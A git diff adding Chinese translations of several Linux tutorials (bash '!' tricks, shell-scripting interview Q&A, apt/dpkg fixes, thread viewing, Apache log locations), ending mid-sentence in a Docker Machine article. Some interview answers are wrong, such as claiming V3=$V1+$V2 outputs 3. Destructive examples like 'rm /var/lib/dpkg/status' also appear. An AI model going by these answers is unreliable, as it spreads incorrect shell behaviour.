+*使用history命令找到最后执行的命令* + +现在,只需要使用历史命令输出中显示在该命令前面的数字便可以运行这个命令。例如,运行一个在`history`输出中编号是1551的命令。 + + $ !1551 + +![使用命令ID来执行最后运行的命令](http://www.tecmint.com/wp-content/uploads/2015/05/Run-Commands-By-number.gif) + +*使用命令ID来执行最后运行的命令* + +这样,编号为1551的命令(上面的例子是[top命令][1])便运行了。这种通过ID号来执行之前的命令的方式很有用,尤其是在这些命令都很长的情况下。您只需要使用**![history命令输出的序号]**便可以调用它。 + +### 2. 运行之前的倒数第二个、第七个命令等 ### + +您可以以另一种方式来运行之前执行的命令,通过使用-1代表最后的命令,-2代表倒数第二个命令,-7代表倒数第七个命令等。 + +首先使用history命令来获得执行过的命令的列表。**history命令的执行很有必要**,因为您可以通过它来确保没有`rm command > file`或其他会导致危险的命令。接下来执行倒数第六个、第八个、第十个命令。 + + $ history + $ !-6 + $ !-8 + $ !-10 + +![通过负数序号运行之前执行的命令](http://www.tecmint.com/wp-content/uploads/2015/05/3.gif) + +*通过负数序号运行之前执行的命令* + +### 3. 传递最后执行的命令的参数,以方便的运行新的命令 ### + +我需要显示`/home/$USER/Binary/firefox`文件夹的内容,因此我执行: + + $ ls /home/$USER/Binary/firefox + +接下来,我意识到我应该执行'ls -l'来查看哪个文件是可执行文件。因此我应该重新输入整个命令么?不,我不需要。我仅需要在新的命令中带上最后的参数,类似: + + $ ls -l !$ + +这里`!$`将把最后执行的命令的参数传递到这个新的命令中。 + +![将上一个命令的参数传递给新命令](http://www.tecmint.com/wp-content/uploads/2015/05/4.gif) + +*将上一个命令的参数传递给新命令* + +### 4. 如何使用!来处理两个或更多的参数 ### + +比如说我在桌面创建了一个文本文件file1.txt。 + + $ touch /home/avi/Desktop/1.txt + +然后在cp命令中使用绝对路径将它拷贝到`/home/avi/Downloads`。 + + $ cp /home/avi/Desktop/1.txt /home/avi/downloads + +这里,我们给cp命令传递了两个参数。第一个是`/home/avi/Desktop/1.txt`,第二个是`/home/avi/Downloads`。让我们分别处理他们,使用`echo [参数]`来打印两个不同的参数。 + + $ echo "1st Argument is : !^" + $ echo "2nd Argument is : !cp:2" + +注意第一个参数可以使用`"!^"`进行打印,其余的命令可以通过`"![命令名]:[参数编号]"`打印。 + +在上面的例子中,第一个命令是`cp`,第二个参数也需要被打印。因此是`"!cp:2"`,如果任何命令比如xyz运行时有5个参数,而您需要获得第四个参数,您可以使用`"!xyz:4"`。所有的参数都可以通过`"!*"`来获得。 + +![处理两个或更多的参数](http://www.tecmint.com/wp-content/uploads/2015/05/5.gif) + +*处理两个或更多的参数* + +### 5. 以关键字为基础执行上个的命令 ### + +我们可以以关键字为基础执行上次执行的命令。可以从下面的例子中理解: + + $ ls /home > /dev/null [命令1] + $ ls -l /home/avi/Desktop > /dev/null [命令2] + $ ls -la /home/avi/Downloads > /dev/null [命令3] + $ ls -lA /usr/bin > /dev/null [命令4] + +上面我们使用了同样的命令(ls),但有不同的开关和不同的操作文件夹。而且,我们还将输出传递到`/dev/null`,我们并未显示输出,因而终端依旧很干净。 + +现在以关键字为基础执行上个的命令。 + + $ ! ls [命令1] + $ ! ls -l [命令2] + $ ! ls -la [命令3] + $ ! ls -lA [命令4] + +检查输出,您将惊奇发现您仅仅使用关键字`ls`便执行了您已经执行过的命令。 + +![以关键字为基础执行命令](http://www.tecmint.com/wp-content/uploads/2015/05/6.gif) + +*以关键字为基础执行命令* + +(LCTT 译注:澄清一下,这种用法会按照命令名来找到最后匹配的命令,不会匹配参数。所以上述执行的四个命令都是执行了 `ls -lA /usr/bin > /dev/null`,并增加了新的参数而已。) + +### 6. !!操作符的威力 ### + +您可以使用`(!!)`运行/修改您上个运行的命令。它将附带一些修改/调整并调用上个命令。让我给您展示一些实际情境。 + +昨天我运行了一行脚本来获得我的私有IP,因此我执行了: + + $ ip addr show | grep inet | grep -v 'inet6'| grep -v '127.0.0.1' | awk '{print $2}' | cut -f1 -d/ + +接着,我突然发现我需要将上面脚本的输出重定向到一个ip.txt的文件,因此,我该怎么办呢?我该重新输入整个命令并重定向到一个文件么?一个简单的解决方案是使用向上光标键并添加`'> ip.txt'`来将输出重定向到文件。 + + $ ip addr show | grep inet | grep -v 'inet6'| grep -v '127.0.0.1' | awk '{print $2}' | cut -f1 -d/ > ip.txt + +在这里要感谢救世主"向上光标键"。现在,考虑下面的情况,这次我运行了下面这一行脚本。 + + $ ifconfig | grep "inet addr:" | awk '{print $2}' | grep -v '127.0.0.1' | cut -f2 -d: + +一旦我运行了这个脚本,Bash提示符便返回了错误消息`"bash: ifconfig: command not found"`。原因并不难猜,我运行了本应以root权限的运行的命令。 + +所以,怎么解决呢?以root用户登录并且再次键入整个命令就太麻烦了!而且向上导航键也不管用了(LCTT 译注:当你以新的用户身份登录了,是不能用向上光标键找到之前的另外一个用户的命令历史的)。因此,我们需要调用`"!!"`(去掉引号),它将为那个用户调用上个命令。 + + $ su -c !! root + +这里su是用来切换到root用户的,`-c`用来以某用户运行特定的命令,最重要的部分是`!!`,它将被替换为上次运行的命令。当然!您需要提供root密码。 + +![!!操作符的威力](http://www.tecmint.com/wp-content/uploads/2015/05/7.gif) + +*!!操作符的威力* + +我通常在下面的情景中使用`!!`。 + +当我用普通用户来运行apt-get,我通常收到提示说我没有权限来执行。 + + $ apt-get upgrade && apt-get dist-upgrade + +好吧,有错误。但别担心,使用下面的命令来成功的执行... + + $ su -c !! + +同样的适用于: + + $ service apache2 start + +或 + + $ /etc/init.d/apache2 start + +或 + + $ systemctl start apache2 + +普通用户不被授权执行那些任务,这样相当于我运行: + + $ su -c 'service apache2 start' + +或 + + $ su -c '/etc/init.d/apache2 start' + +或 + + $ su -c 'systemctl start apache2' + +(LCTT 译注:使用`!!`之前,一定要确认你执行的是什么命令!另外,在 root 身份下,千万不要养成使用它的习惯,因为你总是会在不合适的目录执行不合适的命令!) + +### 7.运行一个影响所有除了![FILE_NAME]的文件命令 ### + +`!`(逻辑非)能用来对除了`'!'`后的文件的所有的文件/扩展名执行命令。 + +A.从文件夹移除所有文件,2.txt除外。 + + $ rm !(2.txt) + +B.从文件夹移除所有的文件类型,pdf类型除外。 + + $ rm !(*.pdf) + +### 8.检查某个文件夹(比如/home/avi/Tecmint)是否存在?并打印 ### + +这里,我们使用`'! -d'`来验证文件夹是否存在,当文件夹不存在时,将使用其后跟随AND操作符`(&&)`进行打印,当文件夹存在时,将使用OR操作符`(||)`进行打印。 + +逻辑上,当`[ ! -d /home/avi/Tecmint ]`的输出为0时,它将执行AND逻辑符后面的内容,否则,它将执行OR逻辑符`(||)`后面的内容。 + + $ [ ! -d /home/avi/Tecmint ] && printf '\nno such /home/avi/Tecmint directory exist\n' || printf '\n/home/avi/Tecmint directory exist\n' + +### 9.检查某文件夹是否存在?如果不存在则退出该命令 ### + +类似于上面的情况,但这里当期望的文件夹不存在时,该命令会退出。 + + $ [ ! -d /home/avi/Tecmint ] && exit + +### 10.如果您的home文件夹内不存在一个文件夹(比方说test),则创建它 ### + +这是脚本语言中的一个常用的实现,当期望的文件夹不存在时,创建一个。 + + [ ! -d /home/avi/Tecmint ] && mkdir /home/avi/Tecmint + +这便是全部了。如果您知道或偶尔遇到其他值得了解的`'!'`使用方法,请您在反馈的地方给我们提建议。保持联系! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/mysterious-uses-of-symbol-or-operator-in-linux-commands/ + +作者:[Avishek Kumar][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/12-top-command-examples-in-linux/ diff --git a/published/201506/20150518 70 Expected Shell Scripting Interview Questions and Answers.md b/published/201506/20150518 70 Expected Shell Scripting Interview Questions and Answers.md new file mode 100644 index 0000000000..9b0201d51e --- /dev/null +++ b/published/201506/20150518 70 Expected Shell Scripting Interview Questions and Answers.md @@ -0,0 +1,416 @@ +Shell 脚本面试问题大全 +================================================================================ +我们为你的面试准备选择了 70 个你可能遇到的 shell 脚面问题及解答。了解脚本或至少知道基础知识对系统管理员来说至关重要,它也有助于你在工作环境中自动完成很多任务。在过去的几年里,我们注意到所有的 linux 工作职位都要求脚本技能。 + +### 1) 如何向脚本传递参数 ? ### + + ./script argument + +**例子** : 显示文件名称脚本 + + ./show.sh file1.txt + + cat show.sh + #!/bin/bash + cat $1 + +### 2) 如何在脚本中使用参数 ? ### + +第一个参数 : $1,第二个参数 : $2 + +例子 : 脚本会复制文件(arg1) 到目标地址(arg2) + + ./copy.sh file1.txt /tmp/ + + cat copy.sh + #!/bin/bash + cp $1 $2 + +### 3) 如何计算传递进来的参数 ? ### + + $# + +### 4) 如何在脚本中获取脚本名称 ? ### + + $0 + +### 5) 如何检查之前的命令是否运行成功 ? ### + + $? + +### 6) 如何获取文件的最后一行 ? ### + + tail -1 + +### 7) 如何获取文件的第一行 ? ### + + head -1 + +### 8) 如何获取一个文件每一行的第三个元素 ? ### + + awk '{print $3}' + +### 9) 假如文件中每行第一个元素是 FIND,如何获取第二个元素 ### + + awk '{ if ($1 == "FIND") print $2}' + +### 10) 如何调试 bash 脚本 ### + + +将 -xv 参数加到 #!/bin/bash 后 + +例子: + + #!/bin/bash –xv + +### 11) 举例如何写一个函数 ? ### + + function example { + echo "Hello world!" + } + +### 12) 如何向连接两个字符串 ? ### + + V1="Hello" + V2="World" + V3=$V1+$V2 + echo $V3 + +输出 + + Hello+World + +### 13) 如何进行两个整数相加 ? ### + + V1=1 + V2=2 + V3=$V1+$V2 + echo $V3 + +输出 + + 3 + +### 14) 如何检查文件系统中是否存在某个文件 ? ### + + if [ -f /var/log/messages ] + then + echo "File exists" + fi + +### 15) 写出 shell 脚本中所有循环语法 ? ### + +#### for 循环 : #### + + for i in $( ls ); do + echo item: $i + done + +#### while 循环 : #### + + #!/bin/bash + COUNTER=0 + while [ $COUNTER -lt 10 ]; do + echo The counter is $COUNTER + let COUNTER=COUNTER+1 + done + +#### until 循环 : #### + + #!/bin/bash + COUNTER=20 + until [ $COUNTER -lt 10 ]; do + echo COUNTER $COUNTER + let COUNTER-=1 + done + +### 16) 每个脚本开始的 #!/bin/sh 或 #!/bin/bash 表示什么意思 ? ### + +这一行说明要使用的 shell。#!/bin/bash 表示脚本使用 /bin/bash。对于 python 脚本,就是 #!/usr/bin/python。(LCTT译注:这一行称之为[释伴行](https://linux.cn/article-3664-1.html)。) + +### 17) 如何获取文本文件的第 10 行 ? ### + + head -10 file|tail -1 + +### 18) bash 脚本文件的第一个符号是什么 ### + + # + +### 19) 命令:[ -z "" ] && echo 0 || echo 1 的输出是什么 ### + + 0 + +### 20) 命令 “export” 有什么用 ? ### + +使变量在子 shell 中可用。 + +### 21) 如何在后台运行脚本 ? ### + +在脚本后面添加 “&”。 + +### 22) "chmod 500 script" 做什么 ? ### + +使脚本所有者拥有可执行权限。 + +### 23) ">" 做什么 ? ### + +重定向输出流到文件或另一个流。 + +### 24) & 和 && 有什么区别 ### + +- & - 希望脚本在后台运行的时候使用它 +- && - 当前一个脚本成功完成才执行后面的命令/脚本的时候使用它 + +### 25) 什么时候要在 [ condition ] 之前使用 “if” ? ### + +当条件满足时需要运行多条命令的时候。 + +### 26) 命令: name=John && echo 'My name is $name' 的输出是什么 ### + + My name is $name + +### 27) bash shell 脚本中哪个符号用于注释 ? ### + + # + +### 28) 命令: echo ${new:-variable} 的输出是什么 ### + + variable + +### 29) ' 和 " 引号有什么区别 ? ### + +- ' - 当我们不希望把变量转换为值的时候使用它。 +- " - 会计算所有变量的值并用值代替。 + +### 30) 如何在脚本文件中重定向标准输出和标准错误流到 log.txt 文件 ? ### + +在脚本文件中添加 "exec >log.txt 2>&1" 命令。 + +### 31) 如何只用 echo 命令获取字符串变量的一部分 ? ### + + echo ${variable:x:y} + x - 起始位置 + y - 长度 + +例子: + + variable="My name is Petras, and I am developer." + echo ${variable:11:6} # 会显示 Petras + +### 32) 如果给定字符串 variable="User:123:321:/home/dir",如何只用 echo 命令获取 home_dir ? ### + + echo ${variable#*:*:*:} + +或 + + echo ${variable##*:} + +### 33) 如何从上面的字符串中获取 “User” ? ### + + echo ${variable%:*:*:*} + +或 + + echo ${variable%%:*} + +### 34) 如何使用 awk 列出 UID 小于 100 的用户 ? ### + + awk -F: '$3<100' /etc/passwd + +### 35) 写程序为用户计算主组数目并显示次数和组名 ### + + cat /etc/passwd|cut -d: -f4|sort|uniq -c|while read c g + do + { echo $c; grep :$g: /etc/group|cut -d: -f1;}|xargs -n 2 + done + +### 36) 如何在 bash shell 中更改标准的域分隔符为 ":" ? ### + + IFS=":" + +### 37) 如何获取变量长度 ? ### + + ${#variable} + +### 38) 如何打印变量的最后 5 个字符 ? ### + + echo ${variable: -5} + +### 39) ${variable:-10} 和 ${variable: -10} 有什么区别? ### + +- ${variable:-10} - 如果之前没有给 variable 赋值则输出 10 +- ${variable: -10} - 输出 variable 的最后 10 个字符 + +### 40) 如何只用 echo 命令替换字符串的一部分 ? ### + + echo ${variable//pattern/replacement} + +### 41) 哪个命令将命令替换为大写 ? ### + + tr '[:lower:]' '[:upper:]' + +### 42) 如何计算本地用户数目 ? ### + +wc -l /etc/passwd|cut -d" " -f1 +或者 +cat /etc/passwd|wc -l + +### 43) 不用 wc 命令如何计算字符串中的单词数目 ? ### + + set ${string} + echo $# + +### 44) "export $variable" 或 "export variable" 哪个正确 ? ### + + export variable + +### 45) 如何列出第二个字母是 a 或 b 的文件 ? ### + + ls -d ?[ab]* + +### 46) 如何将整数 a 加到 b 并赋值给 c ? ### + + c=$((a+b)) + +或 + + c=`expr $a + $b` + +或 + + c=`echo "$a+$b"|bc` + +### 47) 如何去除字符串中的所有空格 ? ### + + echo $string|tr -d " " + +### 48) 重写这个命令,将输出变量转换为复数: item="car"; echo "I like $item" ? ### + + item="car"; echo "I like ${item}s" + +### 49) 写出输出数字 0 到 100 中 3 的倍数(0 3 6 9 …)的命令 ? ### + + for i in {0..100..3}; do echo $i; done + +或 + + for (( i=0; i<=100; i=i+3 )); do echo "Welcome $i times"; done + +### 50) 如何打印传递给脚本的所有参数 ? ### + + echo $* + +或 + + echo $@ + +### 51) [ $a == $b ] 和 [ $a -eq $b ] 有什么区别 ### + +- [ $a == $b ] - 用于字符串比较 +- [ $a -eq $b ] - 用于数字比较 + +### 52) = 和 == 有什么区别 ### + +- = - 用于为变量复制 +- == - 用于字符串比较 + +### 53) 写出测试 $a 是否大于 12 的命令 ? ### + + [ $a -gt 12 ] + +### 54) 写出测试 $b 是否小于等于 12 的命令 ? ### + + [ $b -le 12 ] + +### 55) 如何检查字符串是否以字母 "abc" 开头 ? ### + + [[ $string == abc* ]] + +### 56) [[ $string == abc* ]] 和 [[ $string == "abc*" ]] 有什么区别 ### + +- [[ $string == abc* ]] - 检查字符串是否以字母 abc 开头 +- [[ $string == "abc*" ]] - 检查字符串是否完全等于 abc* + +### 57) 如何列出以 ab 或 xy 开头的用户名 ? ### + + egrep "^ab|^xy" /etc/passwd|cut -d: -f1 + +### 58) bash 中 $! 表示什么意思 ? ### + +后台最近执行命令的 PID. + +### 59) $? 表示什么意思 ? ### + +前台最近命令的结束状态。 + +### 60) 如何输出当前 shell 的 PID ? ### + + echo $$ + +### 61) 如何获取传递给脚本的参数数目 ? ### + + echo $# + +(LCTT 译注:和第3题重复了。) + +### 62) $* 和 $@ 有什么区别 ### + +- $* - 以一个字符串形式输出所有传递到脚本的参数 +- $@ - 以 $IFS 为分隔符列出所有传递到脚本中的参数 + +### 63) 如何在 bash 中定义数组 ? ### + + array=("Hi" "my" "name" "is") + +### 64) 如何打印数组的第一个元素 ? ### + + echo ${array[0]} + +### 65) 如何打印数组的所有元素 ? ### + + echo ${array[@]} + +### 66) 如何输出所有数组索引 ? ### + + echo ${!array[@]} + +### 67) 如何移除数组中索引为 2 的元素 ? ### + + unset array[2] + +### 68) 如何在数组中添加 id 为 333 的元素 ? ### + + array[333]="New_element" + +### 69) shell 脚本如何获取输入的值 ? ### + +a) 通过参数 + + ./script param1 param2 + +b) 通过 read 命令 + + read -p "Destination backup Server : " desthost + +### 70) 在脚本中如何使用 "expect" ? ### + + /usr/bin/expect << EOD + spawn rsync -ar ${line} ${desthost}:${destpath} + expect "*?assword:*" + send "${password}\r" + expect eof + EOD + +祝你好运 !! 如果你有任何疑问或者问题需要解答都可以在下面的评论框中写下来。让我们知道这对你的面试有所帮助:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-shell-script/shell-scripting-interview-questions-answers/ + +作者:[Petras Liumparas][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/petrasl/ \ No newline at end of file diff --git a/published/201506/20150518 Linux FAQs with Answers--How to fix '404 Not Found' error with 'apt-get update' on old Ubuntu.md b/published/201506/20150518 Linux FAQs with Answers--How to fix '404 Not Found' error with 'apt-get update' on old Ubuntu.md new file mode 100644 index 0000000000..81bf2cbbf6 --- /dev/null +++ b/published/201506/20150518 Linux FAQs with Answers--How to fix '404 Not Found' error with 'apt-get update' on old Ubuntu.md @@ -0,0 +1,45 @@ +Linux有问必答:如何更新过期版本的Ubuntu +================================================================================ +> **问题**: 我的PC上安装了旧版的Ubuntu 13.04(急切的浣熊)。当我在上面运行“sudo apt-get update”时,它丢给了我一大堆“404 Not Found”错误,结果是我不能使用apt-get或aptitude来安装或更新任何软件包了。由于该错误的原因,我甚至不能将它升级到更新的版本。我怎样才能修复这个问题啊? +> +![](https://farm6.staticflickr.com/5460/17634085636_996b2a8ab5_b.jpg) + +每个Ubuntu版本都有生命结束周期(EOL)时间;常规的Ubuntu发行版提供18个月的支持,而LTS(长期支持)版本则长达3年(服务器版本)和5年(桌面版本)。当某个Ubuntu版本达到生命结束周期时,其仓库就不能再访问了,你也不能再从Canonical获取任何维护更新和安全补丁。在撰写本文时,Ubuntu 13.04(急切的浣熊)已经达到了它的生命结束周期。 + +如果你所使用的Ubuntu系统已经被结束生命周期,你就会从apt-get或aptitude得到以下404错误,因为它的仓库已经被遗弃了。 + + W: Failed to fetch http://us.archive.ubuntu.com/ubuntu/dists/raring-backports/multiverse/binary-i386/Packages 404 Not Found [IP: 91.189.91.13 80] + + W: Failed to fetch http://extras.ubuntu.com/ubuntu/dists/raring/main/binary-amd64/Packages 404 Not Found + + W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/raring-security/universe/binary-i386/Packages 404 Not Found [IP: 91.189.88.149 80] + + E: Some index files failed to download. They have been ignored, or old ones used instead + +对于那些还在使用旧版本Ubuntu的用户,Canonical维护了一个old-releases.ubuntu.com的网站,这里包含了结束生命周期的仓库归档。因此,当Canonical对你安装的Ubuntu版本结束支持时,你需要将仓库切换到old-releases.ubuntu.com(除非你在结束生命周期之前想要升级)。 + +这里,通过切换到旧版本仓库提供了一个快速修复“404 Not Found”错误的便捷方式。 + +首先,使用old-releases仓库替换main/security仓库,就像下面这样。 + + $ sudo sed -i -r 's/([a-z]{2}\.)?archive.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list + $ sudo sed -i -r 's/security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list + +然后,使用文本编辑器打开/etc/apt/sources.list,并查找extras.ubuntu.com。该仓库也不再支持Ubuntu 13.04了,所以你需要使用“#”号将extras.ubuntu.com注释掉。 + + #deb http://extras.ubuntu.com/ubuntu raring main + #deb-src http://extras.ubuntu.com/ubuntu raring main + +现在,你应该可以在旧版不受支持的Ubuntu上安装或更新软件包了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/404-not-found-error-apt-get-update-ubuntu.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201506/20150518 Linux FAQs with Answers--How to fix 'Encountered a section with no Package--header' error on Raspbian.md b/published/201506/20150518 Linux FAQs with Answers--How to fix 'Encountered a section with no Package--header' error on Raspbian.md new file mode 100644 index 0000000000..1d51e06b18 --- /dev/null +++ b/published/201506/20150518 Linux FAQs with Answers--How to fix 'Encountered a section with no Package--header' error on Raspbian.md @@ -0,0 +1,31 @@ +Linux 有问必答:如何修复 Rasbian 上的 “Encountered a section with no Package: header” 错误 +================================================================================ +> **问题**: 我在树莓派上安装新版的 Rasbian。但当我使用 sudo apt-get update 命令更新 APT 软件包索引的时候,它抛出下面的错误: + + E: Encountered a section with no Package: header + E: Problem with MergeList /var/lib/dpkg/status + E: The package lists or status file could not be parsed or opened. + +> 之后我不能在 Raspbian 上安装任何软件包。我怎样才能解决这个错误? + +![](https://farm8.staticflickr.com/7704/17445484636_05ba81722f_c.jpg) + +这个错误说 "Problem with MergeList /var/lib/dpkg/status" 表示由于某些原因状态文件损坏了,因此无法解析。这个状态文件包括了已经安装的 deb 软件包的信息,因此需要小心备份。 + +在这种情况下,由于这是新安装的 Raspbian,你可以安全地删除状态文件,然后用下面的命令重新生成。 + + $ sudo rm /var/lib/dpkg/status + $ sudo touch /var/lib/dpkg/status + $ sudo apt-get update + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/encountered-section-with-no-package-header-error.html + +作者:[Dan Nanni][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni \ No newline at end of file diff --git a/published/201506/20150518 Linux FAQs with Answers--How to view threads of a process on Linux.md b/published/201506/20150518 Linux FAQs with Answers--How to view threads of a process on Linux.md new file mode 100644 index 0000000000..0011c66b1e --- /dev/null +++ b/published/201506/20150518 Linux FAQs with Answers--How to view threads of a process on Linux.md @@ -0,0 +1,57 @@ +Linux有问必答:Linux上如何查看某个进程的线程 +================================================================================ +> **问题**: 我的程序在其内部创建并执行了多个线程,我怎样才能在该程序创建线程后监控其中单个线程?我想要看到带有它们名称的单个线程详细情况(如,CPU/内存使用率)。 + +线程是现代操作系统上进行并行执行的一个流行的编程方面的抽象概念。当一个程序内有多个线程被叉分出用以执行多个流时,这些线程就会在它们之间共享特定的资源(如,内存地址空间、打开的文件),以使叉分开销最小化,并避免大量高成本的IPC(进程间通信)通道。这些功能让线程在并发执行时成为一个高效的机制。 + +在Linux中,程序中创建的线程(也称为轻量级进程,LWP)会具有和程序的PID相同的“线程组ID”。然后,各个线程会获得其自身的线程ID(TID)。对于Linux内核调度器而言,线程不过是恰好共享特定资源的标准的进程而已。经典的命令行工具,如ps或top,都可以用来显示线程级别的信息,只是默认情况下它们显示进程级别的信息。 + +这里提供了**在Linux上显示某个进程的线程**的几种方式。 + +### 方法一:PS ### + +在ps命令中,“-T”选项可以开启线程查看。下面的命令列出了由进程号为\的进程创建的所有线程。 + + $ ps -T -p + +![](https://farm8.staticflickr.com/7749/17350561110_94cacfc456_c.jpg) + +“SID”栏表示线程ID,而“CMD”栏则显示了线程名称。 + +### 方法二: Top ### + +top命令可以实时显示各个线程情况。要在top输出中开启线程查看,请调用top命令的“-H”选项,该选项会列出所有Linux线程。在top运行时,你也可以通过按“H”键将线程查看模式切换为开或关。 + + $ top -H + +![](https://farm9.staticflickr.com/8824/17350561070_3dfe447974_c.jpg) + +要让top输出某个特定进程\并检查该进程内运行的线程状况: + + $ top -H -p + +![](https://farm8.staticflickr.com/7797/17538002751_c8a3d574d8_c.jpg) + +### 方法三: Htop ### + +一个对用户更加友好的方式是,通过htop查看单个进程的线程,它是一个基于ncurses的交互进程查看器。该程序允许你在树状视图中监控单个独立线程。 + +要在htop中启用线程查看,请开启htop,然后按\来进入htop的设置菜单。选择“设置”栏下面的“显示选项”,然后开启“树状视图”和“显示自定义线程名”选项。按\退出设置。 + +![](https://farm6.staticflickr.com/5338/17350364568_59bce22e7b_b.jpg) + +现在,你就会看到下面这样单个进程的线程视图。 + +![](https://farm9.staticflickr.com/8885/17350560930_98952d5350_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/view-threads-process-linux.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201506/20150518 Linux FAQs with Answers--What is the Apache error log location on Linux.md b/published/201506/20150518 Linux FAQs with Answers--What is the Apache error log location on Linux.md new file mode 100644 index 0000000000..cf1ef694c0 --- /dev/null +++ b/published/201506/20150518 Linux FAQs with Answers--What is the Apache error log location on Linux.md @@ -0,0 +1,81 @@ +Linux有问必答:Linux上Apache错误日志的位置在哪里? +================================================================================ +> **问题**: 我尝试着解决我 Linux 系统上的 Apache Web 服务器的错误,Apache的错误日志文件放在[XX Linux 版本]的哪个位置呢? + +错误日志和访问日志文件为系统管理员提供了有用的信息,比如,为 Web 服务器排障,[保护][1]系统不受各种各样的恶意活动侵犯,或者只是进行[各种各样的][2][分析][3]以监控 HTTP 服务器。根据你 Web 服务器配置的不同,其错误/访问日志可能放在你系统中不同位置。 + +本文可以帮助你**找到Linux上的Apache错误日志**。 + +![](https://farm8.staticflickr.com/7664/16958522954_4852ab5ea5_c.jpg) + +### Debian,Ubuntu或Linux Mint上的Apache错误日志位置 ### + +#### 默认的错误日志 #### + +在基于Debian的Linux上,系统范围的Apache错误日志默认位置是**/var/log/apache2/error.log**。默认位置可以通过编辑Apache的配置文件进行修改。 + +#### 自定义的错误日志 #### + +要找到自定义的错误日志位置,请用文本编辑器打开 /etc/apache2/apache2.conf,然后查找以 ErrorLog 开头的行,该行指定了自定义的 Apache 错误日志文件的位置。例如,在未经修改的 Apache 配置文件中可以找到以下行: + + ErrorLog ${APACHE_LOG_DIR}/error.log + +在本例中,该位置使用 APACHE_LOG_DIR 环境变量进行配置,该变量在 /etc/apache2/envvars 中已被定义。 + + export APACHE_LOG_DIR=/var/log/apache2$SUFFIX + +在实际情况中, ErrorLog 可能会指向你 Linux 系统中任意路径。 + +#### 使用虚拟主机自定义的错误日志 #### + +如果在 Apache Web 服务器中使用了虚拟主机, ErrorLog 指令可能会在虚拟主机容器内指定,在这种情况下,上面所说的系统范围的错误日志位置将被忽略。 + +启用了虚拟主机后,各个虚拟主机可以定义其自身的自定义错误日志位置。要找出某个特定虚拟主机的错误日志位置,你可以打开 /etc/apache2/sites-enabled/.conf,然后查找 ErrorLog 指令,该指令会显示站点指定的错误日志文件。 + +### CentOS,Fedora或RHEL上的Apache错误日志位置 ### + +#### 默认的错误日志 #### + +在基于 Red Hat 的Linux中,系统范围的 Apache 错误日志文件默认被放置在**/var/log/httpd/error_log**。该默认位置可以通过修改 Apache 配置文件进行自定义。 + +#### 自定义的错误日志 #### + +要找出 Apache 错误日志的自定义位置,请用文本编辑器打开 /etc/httpd/conf/httpd.conf,然后查找 ServerRoot,该参数显示了 Apache Web 服务器目录树的顶层,日志文件和配置都位于该目录树中。例如: + + ServerRoot "/etc/httpd" + +现在,查找 ErrorLog 开头的行,该行指出了 Apache Web 服务器将错误日志写到了哪里去。注意,指定的位置是 ServerRoot 值的相对位置。例如: + + ErrorLog "log/error_log" + +结合上面的两个指令,可以获得完整的错误日志路径,默认情况下该路径就是 /etc/httpd/logs/error_log。在全新安装的Apache中,这是一个到 /var/log/httpd/error_log 的符号链接。 + +在实际情况中, ErrorLog 可能指向你 Linux 系统中的任意位置。 + +#### 使用虚拟主机自定义的错误日志 #### + +如果你启用了虚拟主机,你可以通过检查 /etc/httpd/conf/httpd.conf(或其它任何定义了虚拟主机的文件)来找到各个虚拟主机的错误日志位置。在独立的虚拟主机部分查找 ErrorLog。如,在下面的虚拟主机部分,错误日志的位置是 /var/www/xmodulo.com/logs/error_log。 + + + ServerAdmin webmaster@xmodulo.com + DocumentRoot /var/www/xmodulo.com/public_html + ServerName www.xmodulo.com + ServerAlias xmodulo.com + ErrorLog /var/www/xmodulo.com/logs/error_log + CustomLog /var/www/xmodulo.com/logs/access_log + + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/apache-error-log-location-linux.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:https://linux.cn/article-5068-1.html +[2]:https://linux.cn/article-5352-1.html +[3]:https://linux.cn/article-4405-1.html diff --git a/published/201506/20150520 How to Use Docker Machine with a Cloud Provider.md b/published/201506/20150520 How to Use Docker Machine with a Cloud Provider.md new file mode 100644 index 0000000000..78909dfced --- /dev/null +++ b/published/201506/20150520 How to Use Docker Machine with a Cloud Provider.md @@ -0,0 +1,148 @@ +如何在云服务提供商的平台上使用Docker Machine +================================================================================ + +大家好,今天我们来了解如何使用Docker Machine在各种云服务提供商的平台上部署Docker。Docker Machine是一个可以帮助我们在自己的电脑、云服务提供商的平台以及我们数据中心的机器上创建Docker机器的应用程序。它为创建服务器、在服务器中安装Docker、根据用户需求配置Docker客户端提供了简单的解决方案。驱动API对本地机器、数据中心的虚拟机或者公用云机器都适用。Docker 